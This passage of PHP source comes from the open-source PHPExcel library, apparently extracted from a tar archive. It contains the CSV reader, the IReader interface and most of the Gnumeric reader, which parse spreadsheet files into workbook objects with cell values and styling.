dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Reader_CSV * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_CSV extends PHPExcel_Reader_Abstract implements PHPExcel_Reader_IReader { /** * Input encoding * * @access private * @var string */ private $inputEncoding = 'UTF-8'; /** * Delimiter * * @access private * @var string */ private $delimiter = ','; /** * Enclosure * * @access private * @var string */ private $enclosure = '"'; /** * Sheet index to read * * @access private * @var int */ private $sheetIndex = 0; /** * Load rows contiguously * * @access private * @var int */ private $contiguous = false; /** * Row counter for loading rows contiguously * * @var int */ private $contiguousRow = -1; /** * Create a new PHPExcel_Reader_CSV */ public function __construct() { $this->readFilter = new PHPExcel_Reader_DefaultReadFilter(); } /** * Validate that the current file is a CSV file * * @return boolean */ protected function isValidFormat() { return true; } /** * Set input encoding * * @param string $pValue Input encoding */ public function setInputEncoding($pValue = 'UTF-8') { $this->inputEncoding = $pValue; return $this; } /** * Get input encoding * * @return string */ public function getInputEncoding() { return $this->inputEncoding; } /** * Move filepointer past any BOM marker * */ protected function skipBOM() { rewind($this->fileHandle); switch ($this->inputEncoding) { case 'UTF-8': fgets($this->fileHandle, 4) == "\xEF\xBB\xBF" ? fseek($this->fileHandle, 3) : fseek($this->fileHandle, 0); break; case 'UTF-16LE': fgets($this->fileHandle, 3) == "\xFF\xFE" ? fseek($this->fileHandle, 2) : fseek($this->fileHandle, 0); break; case 'UTF-16BE': fgets($this->fileHandle, 3) == "\xFE\xFF" ? fseek($this->fileHandle, 2) : fseek($this->fileHandle, 0); break; case 'UTF-32LE': fgets($this->fileHandle, 5) == "\xFF\xFE\x00\x00" ? fseek($this->fileHandle, 4) : fseek($this->fileHandle, 0); break; case 'UTF-32BE': fgets($this->fileHandle, 5) == "\x00\x00\xFE\xFF" ? fseek($this->fileHandle, 4) : fseek($this->fileHandle, 0); break; default: break; } } /** * Identify any separator that is explicitly set in the file * */ protected function checkSeparator() { $line = fgets($this->fileHandle); if ($line === false) { return; } if ((strlen(trim($line, "\r\n")) == 5) && (stripos($line, 'sep=') === 0)) { $this->delimiter = substr($line, 4, 1); return; } return $this->skipBOM(); } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns) * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetInfo($pFilename) { // Open file $this->openFile($pFilename); if (!$this->isValidFormat()) { fclose($this->fileHandle); throw new PHPExcel_Reader_Exception($pFilename . " is an Invalid Spreadsheet file."); } $fileHandle = $this->fileHandle; // Skip BOM, if any $this->skipBOM(); $this->checkSeparator(); $escapeEnclosures = array( "\\" . $this->enclosure, $this->enclosure . $this->enclosure ); $worksheetInfo = array(); $worksheetInfo[0]['worksheetName'] = 'Worksheet'; $worksheetInfo[0]['lastColumnLetter'] = 'A'; $worksheetInfo[0]['lastColumnIndex'] = 0; $worksheetInfo[0]['totalRows'] = 0; $worksheetInfo[0]['totalColumns'] = 0; // Loop through each line of the file in turn while (($rowData = fgetcsv($fileHandle, 0, $this->delimiter, $this->enclosure)) !== false) { $worksheetInfo[0]['totalRows']++; $worksheetInfo[0]['lastColumnIndex'] = max($worksheetInfo[0]['lastColumnIndex'], count($rowData) - 1); } $worksheetInfo[0]['lastColumnLetter'] = PHPExcel_Cell::stringFromColumnIndex($worksheetInfo[0]['lastColumnIndex']); $worksheetInfo[0]['totalColumns'] = $worksheetInfo[0]['lastColumnIndex'] + 1; // Close file fclose($fileHandle); return $worksheetInfo; } /** * Loads PHPExcel from file * * @param string $pFilename * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function load($pFilename) { // Create new PHPExcel $objPHPExcel = new PHPExcel(); // Load into this instance return $this->loadIntoExisting($pFilename, $objPHPExcel); } /** * Loads PHPExcel from file into PHPExcel instance * * @param string $pFilename * @param PHPExcel $objPHPExcel * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function loadIntoExisting($pFilename, PHPExcel $objPHPExcel) { $lineEnding = ini_get('auto_detect_line_endings'); ini_set('auto_detect_line_endings', true); // Open file $this->openFile($pFilename); if (!$this->isValidFormat()) { fclose($this->fileHandle); throw new PHPExcel_Reader_Exception($pFilename . " is an Invalid Spreadsheet file."); } $fileHandle = $this->fileHandle; // Skip BOM, if any $this->skipBOM(); $this->checkSeparator(); // Create new PHPExcel object while ($objPHPExcel->getSheetCount() <= $this->sheetIndex) { $objPHPExcel->createSheet(); } $sheet = $objPHPExcel->setActiveSheetIndex($this->sheetIndex); $escapeEnclosures = array( "\\" . $this->enclosure, $this->enclosure . $this->enclosure ); // Set our starting row based on whether we're in contiguous mode or not $currentRow = 1; if ($this->contiguous) { $currentRow = ($this->contiguousRow == -1) ? $sheet->getHighestRow(): $this->contiguousRow; } // Loop through each line of the file in turn while (($rowData = fgetcsv($fileHandle, 0, $this->delimiter, $this->enclosure)) !== false) { $columnLetter = 'A'; foreach ($rowData as $rowDatum) { if ($rowDatum != '' && $this->readFilter->readCell($columnLetter, $currentRow)) { // Unescape enclosures $rowDatum = str_replace($escapeEnclosures, $this->enclosure, $rowDatum); // Convert encoding if necessary if ($this->inputEncoding !== 'UTF-8') { $rowDatum = PHPExcel_Shared_String::ConvertEncoding($rowDatum, 'UTF-8', $this->inputEncoding); } // Set cell value $sheet->getCell($columnLetter . $currentRow)->setValue($rowDatum); } ++$columnLetter; } ++$currentRow; } // Close file fclose($fileHandle); if ($this->contiguous) { $this->contiguousRow = $currentRow; } ini_set('auto_detect_line_endings', $lineEnding); // Return return $objPHPExcel; } /** * Get delimiter * * @return string */ public function getDelimiter() { return $this->delimiter; } /** * Set delimiter * * @param string $pValue Delimiter, defaults to , * @return PHPExcel_Reader_CSV */ public function setDelimiter($pValue = ',') { $this->delimiter = $pValue; return $this; } /** * Get enclosure * * @return string */ public function getEnclosure() { return $this->enclosure; } /** * Set enclosure * * @param string $pValue Enclosure, defaults to " * @return PHPExcel_Reader_CSV */ public function setEnclosure($pValue = '"') { if ($pValue == '') { $pValue = '"'; } $this->enclosure = $pValue; return $this; } /** * Get sheet index * * @return integer */ public function getSheetIndex() { return $this->sheetIndex; } /** * Set sheet index * * @param integer $pValue Sheet index * @return PHPExcel_Reader_CSV */ public function setSheetIndex($pValue = 0) { $this->sheetIndex = $pValue; return $this; } /** * Set Contiguous * * @param boolean $contiguous */ public function setContiguous($contiguous = false) { $this->contiguous = (bool) $contiguous; if (!$contiguous) { $this->contiguousRow = -1; } return $this; } /** * Get Contiguous * * @return boolean */ public function getContiguous() { return $this->contiguous; } } PHPExcel/Reader/IReader.php 0000644 00000002767 14642534110 0011416 0 ustar 00 <?php /** * PHPExcel_Reader_IReader * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ interface PHPExcel_Reader_IReader { /** * Can the current PHPExcel_Reader_IReader read the file? * * @param string $pFilename * @return boolean */ public function canRead($pFilename); /** * Loads PHPExcel from file * * @param string $pFilename * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function load($pFilename); } PHPExcel/Reader/Gnumeric.php 0000644 00000121640 14642534110 0011644 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Reader_Gnumeric * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_Gnumeric extends PHPExcel_Reader_Abstract implements PHPExcel_Reader_IReader { /** * Formats * * @var array */ private $styles = array(); /** * Shared Expressions * * @var array */ private $expressions = array(); private $referenceHelper = null; /** * Create a new PHPExcel_Reader_Gnumeric */ public function __construct() { $this->readFilter = new PHPExcel_Reader_DefaultReadFilter(); $this->referenceHelper = PHPExcel_ReferenceHelper::getInstance(); } /** * Can the current PHPExcel_Reader_IReader read the file? * * @param string $pFilename * @return boolean * @throws PHPExcel_Reader_Exception */ public function canRead($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } // Check if gzlib functions are available if (!function_exists('gzread')) { throw new PHPExcel_Reader_Exception("gzlib library is not enabled"); } // Read signature data (first 3 bytes) $fh = fopen($pFilename, 'r'); $data = fread($fh, 2); fclose($fh); if ($data != chr(0x1F).chr(0x8B)) { return false; } return true; } /** * Reads names of the worksheets from a file, without parsing the whole file to a PHPExcel object * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetNames($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $xml = new XMLReader(); $xml->xml($this->securityScanFile('compress.zlib://'.realpath($pFilename)), null, PHPExcel_Settings::getLibXmlLoaderOptions()); $xml->setParserProperty(2, true); $worksheetNames = array(); while ($xml->read()) { if ($xml->name == 'gnm:SheetName' && $xml->nodeType == XMLReader::ELEMENT) { $xml->read(); // Move onto the value node $worksheetNames[] = (string) $xml->value; } elseif ($xml->name == 'gnm:Sheets') { // break out of the loop once we've got our sheet names rather than parse the entire file break; } } return $worksheetNames; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns) * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetInfo($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $xml = new XMLReader(); $xml->xml($this->securityScanFile('compress.zlib://'.realpath($pFilename)), null, PHPExcel_Settings::getLibXmlLoaderOptions()); $xml->setParserProperty(2, true); $worksheetInfo = array(); while ($xml->read()) { if ($xml->name == 'gnm:Sheet' && $xml->nodeType == XMLReader::ELEMENT) { $tmpInfo = array( 'worksheetName' => '', 'lastColumnLetter' => 'A', 'lastColumnIndex' => 0, 'totalRows' => 0, 'totalColumns' => 0, ); while ($xml->read()) { if ($xml->name == 'gnm:Name' && $xml->nodeType == XMLReader::ELEMENT) { $xml->read(); // Move onto the value node $tmpInfo['worksheetName'] = (string) $xml->value; } elseif ($xml->name == 'gnm:MaxCol' && $xml->nodeType == XMLReader::ELEMENT) { $xml->read(); // Move onto the value node $tmpInfo['lastColumnIndex'] = (int) $xml->value; $tmpInfo['totalColumns'] = (int) $xml->value + 1; } elseif ($xml->name == 'gnm:MaxRow' && $xml->nodeType == XMLReader::ELEMENT) { $xml->read(); // Move onto the value node $tmpInfo['totalRows'] = (int) $xml->value + 1; break; } } $tmpInfo['lastColumnLetter'] = PHPExcel_Cell::stringFromColumnIndex($tmpInfo['lastColumnIndex']); $worksheetInfo[] = $tmpInfo; } } return $worksheetInfo; } private function gzfileGetContents($filename) { $file = @gzopen($filename, 'rb'); if ($file !== false) { $data = ''; while (!gzeof($file)) { $data .= gzread($file, 1024); } gzclose($file); } return $data; } /** * Loads PHPExcel from file * * @param string $pFilename * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function load($pFilename) { // Create new PHPExcel $objPHPExcel = new PHPExcel(); // Load into this instance return $this->loadIntoExisting($pFilename, $objPHPExcel); } /** * Loads PHPExcel from file into PHPExcel instance * * @param string $pFilename * @param PHPExcel $objPHPExcel * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function loadIntoExisting($pFilename, PHPExcel $objPHPExcel) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $timezoneObj = new DateTimeZone('Europe/London'); $GMT = new DateTimeZone('UTC'); $gFileData = $this->gzfileGetContents($pFilename); // echo '<pre>'; // echo htmlentities($gFileData,ENT_QUOTES,'UTF-8'); // echo '</pre><hr />'; // $xml = simplexml_load_string($this->securityScan($gFileData), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); $namespacesMeta = $xml->getNamespaces(true); // var_dump($namespacesMeta); // $gnmXML = $xml->children($namespacesMeta['gnm']); $docProps = $objPHPExcel->getProperties(); // Document Properties are held differently, depending on the version of Gnumeric if (isset($namespacesMeta['office'])) { $officeXML = $xml->children($namespacesMeta['office']); $officeDocXML = $officeXML->{'document-meta'}; $officeDocMetaXML = $officeDocXML->meta; foreach ($officeDocMetaXML as $officePropertyData) { $officePropertyDC = array(); if (isset($namespacesMeta['dc'])) { $officePropertyDC = $officePropertyData->children($namespacesMeta['dc']); } foreach ($officePropertyDC as $propertyName => $propertyValue) { $propertyValue = (string) $propertyValue; switch ($propertyName) { case 'title': $docProps->setTitle(trim($propertyValue)); break; case 'subject': $docProps->setSubject(trim($propertyValue)); break; case 'creator': $docProps->setCreator(trim($propertyValue)); $docProps->setLastModifiedBy(trim($propertyValue)); break; case 'date': $creationDate = strtotime(trim($propertyValue)); $docProps->setCreated($creationDate); $docProps->setModified($creationDate); break; case 'description': $docProps->setDescription(trim($propertyValue)); break; } } $officePropertyMeta = array(); if (isset($namespacesMeta['meta'])) { $officePropertyMeta = $officePropertyData->children($namespacesMeta['meta']); } foreach ($officePropertyMeta as $propertyName => $propertyValue) { $attributes = $propertyValue->attributes($namespacesMeta['meta']); $propertyValue = (string) $propertyValue; switch ($propertyName) { case 'keyword': $docProps->setKeywords(trim($propertyValue)); break; case 'initial-creator': $docProps->setCreator(trim($propertyValue)); $docProps->setLastModifiedBy(trim($propertyValue)); break; case 'creation-date': $creationDate = strtotime(trim($propertyValue)); $docProps->setCreated($creationDate); $docProps->setModified($creationDate); break; case 'user-defined': list(, $attrName) = explode(':', $attributes['name']); switch ($attrName) { case 'publisher': $docProps->setCompany(trim($propertyValue)); break; case 'category': $docProps->setCategory(trim($propertyValue)); break; case 'manager': $docProps->setManager(trim($propertyValue)); break; } break; } } } } elseif (isset($gnmXML->Summary)) { foreach ($gnmXML->Summary->Item as $summaryItem) { $propertyName = $summaryItem->name; $propertyValue = $summaryItem->{'val-string'}; switch ($propertyName) { case 'title': $docProps->setTitle(trim($propertyValue)); break; case 'comments': $docProps->setDescription(trim($propertyValue)); break; case 'keywords': $docProps->setKeywords(trim($propertyValue)); break; case 'category': $docProps->setCategory(trim($propertyValue)); break; case 'manager': $docProps->setManager(trim($propertyValue)); break; case 'author': $docProps->setCreator(trim($propertyValue)); $docProps->setLastModifiedBy(trim($propertyValue)); break; case 'company': $docProps->setCompany(trim($propertyValue)); break; } } } $worksheetID = 0; foreach ($gnmXML->Sheets->Sheet as $sheet) { $worksheetName = (string) $sheet->Name; // echo '<b>Worksheet: ', $worksheetName,'</b><br />'; if ((isset($this->loadSheetsOnly)) && (!in_array($worksheetName, $this->loadSheetsOnly))) { continue; } $maxRow = $maxCol = 0; // Create new Worksheet $objPHPExcel->createSheet(); $objPHPExcel->setActiveSheetIndex($worksheetID); // Use false for $updateFormulaCellReferences to prevent adjustment of worksheet references in formula // cells... during the load, all formulae should be correct, and we're simply bringing the worksheet // name in line with the formula, not the reverse $objPHPExcel->getActiveSheet()->setTitle($worksheetName, false); if ((!$this->readDataOnly) && (isset($sheet->PrintInformation))) { if (isset($sheet->PrintInformation->Margins)) { foreach ($sheet->PrintInformation->Margins->children('gnm', true) as $key => $margin) { $marginAttributes = $margin->attributes(); $marginSize = 72 / 100; // Default switch ($marginAttributes['PrefUnit']) { case 'mm': $marginSize = intval($marginAttributes['Points']) / 100; break; } switch ($key) { case 'top': $objPHPExcel->getActiveSheet()->getPageMargins()->setTop($marginSize); break; case 'bottom': $objPHPExcel->getActiveSheet()->getPageMargins()->setBottom($marginSize); break; case 'left': $objPHPExcel->getActiveSheet()->getPageMargins()->setLeft($marginSize); break; case 'right': $objPHPExcel->getActiveSheet()->getPageMargins()->setRight($marginSize); break; case 'header': $objPHPExcel->getActiveSheet()->getPageMargins()->setHeader($marginSize); break; case 'footer': $objPHPExcel->getActiveSheet()->getPageMargins()->setFooter($marginSize); break; } } } } foreach ($sheet->Cells->Cell as $cell) { $cellAttributes = $cell->attributes(); $row = (int) $cellAttributes->Row + 1; $column = (int) $cellAttributes->Col; if ($row > $maxRow) { $maxRow = $row; } if ($column > $maxCol) { $maxCol = $column; } $column = PHPExcel_Cell::stringFromColumnIndex($column); // Read cell? if ($this->getReadFilter() !== null) { if (!$this->getReadFilter()->readCell($column, $row, $worksheetName)) { continue; } } $ValueType = $cellAttributes->ValueType; $ExprID = (string) $cellAttributes->ExprID; // echo 'Cell ', $column, $row,'<br />'; // echo 'Type is ', $ValueType,'<br />'; // echo 'Value is ', $cell,'<br />'; $type = PHPExcel_Cell_DataType::TYPE_FORMULA; if ($ExprID > '') { if (((string) $cell) > '') { $this->expressions[$ExprID] = array( 'column' => $cellAttributes->Col, 'row' => $cellAttributes->Row, 'formula' => (string) $cell ); // echo 'NEW EXPRESSION ', $ExprID,'<br />'; } else { $expression = $this->expressions[$ExprID]; $cell = $this->referenceHelper->updateFormulaReferences( $expression['formula'], 'A1', $cellAttributes->Col - $expression['column'], $cellAttributes->Row - $expression['row'], $worksheetName ); // echo 'SHARED EXPRESSION ', $ExprID,'<br />'; // echo 'New Value is ', $cell,'<br />'; } $type = PHPExcel_Cell_DataType::TYPE_FORMULA; } else { switch ($ValueType) { case '10': // NULL $type = PHPExcel_Cell_DataType::TYPE_NULL; break; case '20': // Boolean $type = PHPExcel_Cell_DataType::TYPE_BOOL; $cell = ($cell == 'TRUE') ? true: false; break; case '30': // Integer $cell = intval($cell); // Excel 2007+ doesn't differentiate between integer and float, so set the value and dropthru to the next (numeric) case case '40': // Float $type = PHPExcel_Cell_DataType::TYPE_NUMERIC; break; case '50': // Error $type = PHPExcel_Cell_DataType::TYPE_ERROR; break; case '60': // String $type = PHPExcel_Cell_DataType::TYPE_STRING; break; case '70': // Cell Range case '80': // Array } } $objPHPExcel->getActiveSheet()->getCell($column.$row)->setValueExplicit($cell, $type); } if ((!$this->readDataOnly) && (isset($sheet->Objects))) { foreach ($sheet->Objects->children('gnm', true) as $key => $comment) { $commentAttributes = $comment->attributes(); // Only comment objects are handled at the moment if ($commentAttributes->Text) { $objPHPExcel->getActiveSheet()->getComment((string)$commentAttributes->ObjectBound)->setAuthor((string)$commentAttributes->Author)->setText($this->parseRichText((string)$commentAttributes->Text)); } } } // echo '$maxCol=', $maxCol,'; $maxRow=', $maxRow,'<br />'; // foreach ($sheet->Styles->StyleRegion as $styleRegion) { $styleAttributes = $styleRegion->attributes(); if (($styleAttributes['startRow'] <= $maxRow) && ($styleAttributes['startCol'] <= $maxCol)) { $startColumn = PHPExcel_Cell::stringFromColumnIndex((int) $styleAttributes['startCol']); $startRow = $styleAttributes['startRow'] + 1; $endColumn = ($styleAttributes['endCol'] > $maxCol) ? $maxCol : (int) $styleAttributes['endCol']; $endColumn = PHPExcel_Cell::stringFromColumnIndex($endColumn); $endRow = ($styleAttributes['endRow'] > $maxRow) ? $maxRow : $styleAttributes['endRow']; $endRow += 1; $cellRange = $startColumn.$startRow.':'.$endColumn.$endRow; // echo $cellRange,'<br />'; $styleAttributes = $styleRegion->Style->attributes(); // var_dump($styleAttributes); // echo '<br />'; // We still set the number format mask for date/time values, even if readDataOnly is true if ((!$this->readDataOnly) || (PHPExcel_Shared_Date::isDateTimeFormatCode((string) $styleAttributes['Format']))) { $styleArray = array(); $styleArray['numberformat']['code'] = (string) $styleAttributes['Format']; // If readDataOnly is false, we set all formatting information if (!$this->readDataOnly) { switch ($styleAttributes['HAlign']) { case '1': $styleArray['alignment']['horizontal'] = PHPExcel_Style_Alignment::HORIZONTAL_GENERAL; break; case '2': $styleArray['alignment']['horizontal'] = PHPExcel_Style_Alignment::HORIZONTAL_LEFT; break; case '4': $styleArray['alignment']['horizontal'] = PHPExcel_Style_Alignment::HORIZONTAL_RIGHT; break; case '8': $styleArray['alignment']['horizontal'] = PHPExcel_Style_Alignment::HORIZONTAL_CENTER; break; case '16': case '64': $styleArray['alignment']['horizontal'] = PHPExcel_Style_Alignment::HORIZONTAL_CENTER_CONTINUOUS; break; case '32': $styleArray['alignment']['horizontal'] = PHPExcel_Style_Alignment::HORIZONTAL_JUSTIFY; break; } switch ($styleAttributes['VAlign']) { case '1': $styleArray['alignment']['vertical'] = PHPExcel_Style_Alignment::VERTICAL_TOP; break; case '2': $styleArray['alignment']['vertical'] = PHPExcel_Style_Alignment::VERTICAL_BOTTOM; break; case '4': $styleArray['alignment']['vertical'] = PHPExcel_Style_Alignment::VERTICAL_CENTER; break; case '8': $styleArray['alignment']['vertical'] = PHPExcel_Style_Alignment::VERTICAL_JUSTIFY; break; } $styleArray['alignment']['wrap'] = ($styleAttributes['WrapText'] == '1') ? true : false; $styleArray['alignment']['shrinkToFit'] = ($styleAttributes['ShrinkToFit'] == '1') ? true : false; $styleArray['alignment']['indent'] = (intval($styleAttributes["Indent"]) > 0) ? $styleAttributes["indent"] : 0; $RGB = self::parseGnumericColour($styleAttributes["Fore"]); $styleArray['font']['color']['rgb'] = $RGB; $RGB = self::parseGnumericColour($styleAttributes["Back"]); $shade = $styleAttributes["Shade"]; if (($RGB != '000000') || ($shade != '0')) { $styleArray['fill']['color']['rgb'] = $styleArray['fill']['startcolor']['rgb'] = $RGB; $RGB2 = self::parseGnumericColour($styleAttributes["PatternColor"]); $styleArray['fill']['endcolor']['rgb'] = $RGB2; switch ($shade) { case '1': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_SOLID; break; case '2': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR; break; case '3': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_GRADIENT_PATH; break; case '4': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_DARKDOWN; break; case '5': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_DARKGRAY; break; case '6': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_DARKGRID; break; case '7': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_DARKHORIZONTAL; break; case '8': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_DARKTRELLIS; break; case '9': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_DARKUP; break; case '10': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_DARKVERTICAL; break; case '11': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_GRAY0625; break; case '12': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_GRAY125; break; case '13': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_LIGHTDOWN; break; case '14': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_LIGHTGRAY; break; case '15': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_LIGHTGRID; break; case '16': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_LIGHTHORIZONTAL; break; case '17': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_LIGHTTRELLIS; break; case '18': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_LIGHTUP; break; case '19': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_LIGHTVERTICAL; break; case '20': $styleArray['fill']['type'] = PHPExcel_Style_Fill::FILL_PATTERN_MEDIUMGRAY; break; } } $fontAttributes = $styleRegion->Style->Font->attributes(); // var_dump($fontAttributes); // echo '<br />'; $styleArray['font']['name'] = (string) $styleRegion->Style->Font; $styleArray['font']['size'] = intval($fontAttributes['Unit']); $styleArray['font']['bold'] = ($fontAttributes['Bold'] == '1') ? true : false; $styleArray['font']['italic'] = ($fontAttributes['Italic'] == '1') ? true : false; $styleArray['font']['strike'] = ($fontAttributes['StrikeThrough'] == '1') ? true : false; switch ($fontAttributes['Underline']) { case '1': $styleArray['font']['underline'] = PHPExcel_Style_Font::UNDERLINE_SINGLE; break; case '2': $styleArray['font']['underline'] = PHPExcel_Style_Font::UNDERLINE_DOUBLE; break; case '3': $styleArray['font']['underline'] = PHPExcel_Style_Font::UNDERLINE_SINGLEACCOUNTING; break; case '4': $styleArray['font']['underline'] = PHPExcel_Style_Font::UNDERLINE_DOUBLEACCOUNTING; break; default: $styleArray['font']['underline'] = PHPExcel_Style_Font::UNDERLINE_NONE; break; } switch ($fontAttributes['Script']) { case '1': $styleArray['font']['superScript'] = true; break; case '-1': $styleArray['font']['subScript'] = true; break; } if (isset($styleRegion->Style->StyleBorder)) { if (isset($styleRegion->Style->StyleBorder->Top)) { $styleArray['borders']['top'] = self::parseBorderAttributes($styleRegion->Style->StyleBorder->Top->attributes()); } if (isset($styleRegion->Style->StyleBorder->Bottom)) { $styleArray['borders']['bottom'] = self::parseBorderAttributes($styleRegion->Style->StyleBorder->Bottom->attributes()); } if (isset($styleRegion->Style->StyleBorder->Left)) { $styleArray['borders']['left'] = self::parseBorderAttributes($styleRegion->Style->StyleBorder->Left->attributes()); } if (isset($styleRegion->Style->StyleBorder->Right)) { $styleArray['borders']['right'] = self::parseBorderAttributes($styleRegion->Style->StyleBorder->Right->attributes()); } if ((isset($styleRegion->Style->StyleBorder->Diagonal)) && (isset($styleRegion->Style->StyleBorder->{'Rev-Diagonal'}))) { $styleArray['borders']['diagonal'] = self::parseBorderAttributes($styleRegion->Style->StyleBorder->Diagonal->attributes()); $styleArray['borders']['diagonaldirection'] = PHPExcel_Style_Borders::DIAGONAL_BOTH; } elseif (isset($styleRegion->Style->StyleBorder->Diagonal)) { $styleArray['borders']['diagonal'] = self::parseBorderAttributes($styleRegion->Style->StyleBorder->Diagonal->attributes()); $styleArray['borders']['diagonaldirection'] = PHPExcel_Style_Borders::DIAGONAL_UP; } elseif (isset($styleRegion->Style->StyleBorder->{'Rev-Diagonal'})) { $styleArray['borders']['diagonal'] = self::parseBorderAttributes($styleRegion->Style->StyleBorder->{'Rev-Diagonal'}->attributes()); $styleArray['borders']['diagonaldirection'] = PHPExcel_Style_Borders::DIAGONAL_DOWN; } } if (isset($styleRegion->Style->HyperLink)) { // TO DO $hyperlink = $styleRegion->Style->HyperLink->attributes(); } } // var_dump($styleArray); // echo '<br />'; $objPHPExcel->getActiveSheet()->getStyle($cellRange)->applyFromArray($styleArray); } } } if ((!$this->readDataOnly) && (isset($sheet->Cols))) { // Column Widths $columnAttributes = $sheet->Cols->attributes(); $defaultWidth = $columnAttributes['DefaultSizePts'] / 5.4; $c = 0; foreach ($sheet->Cols->ColInfo as $columnOverride) { $columnAttributes = $columnOverride->attributes(); $column = $columnAttributes['No']; $columnWidth = $columnAttributes['Unit'] / 5.4; $hidden = ((isset($columnAttributes['Hidden'])) && ($columnAttributes['Hidden'] == '1')) ? true : false; $columnCount = (isset($columnAttributes['Count'])) ? $columnAttributes['Count'] : 1; while ($c < $column) { $objPHPExcel->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($c))->setWidth($defaultWidth); ++$c; } while (($c < ($column+$columnCount)) && ($c <= $maxCol)) { $objPHPExcel->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($c))->setWidth($columnWidth); if ($hidden) { $objPHPExcel->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($c))->setVisible(false); } ++$c; } } while ($c <= $maxCol) { $objPHPExcel->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($c))->setWidth($defaultWidth); ++$c; } } if ((!$this->readDataOnly) && 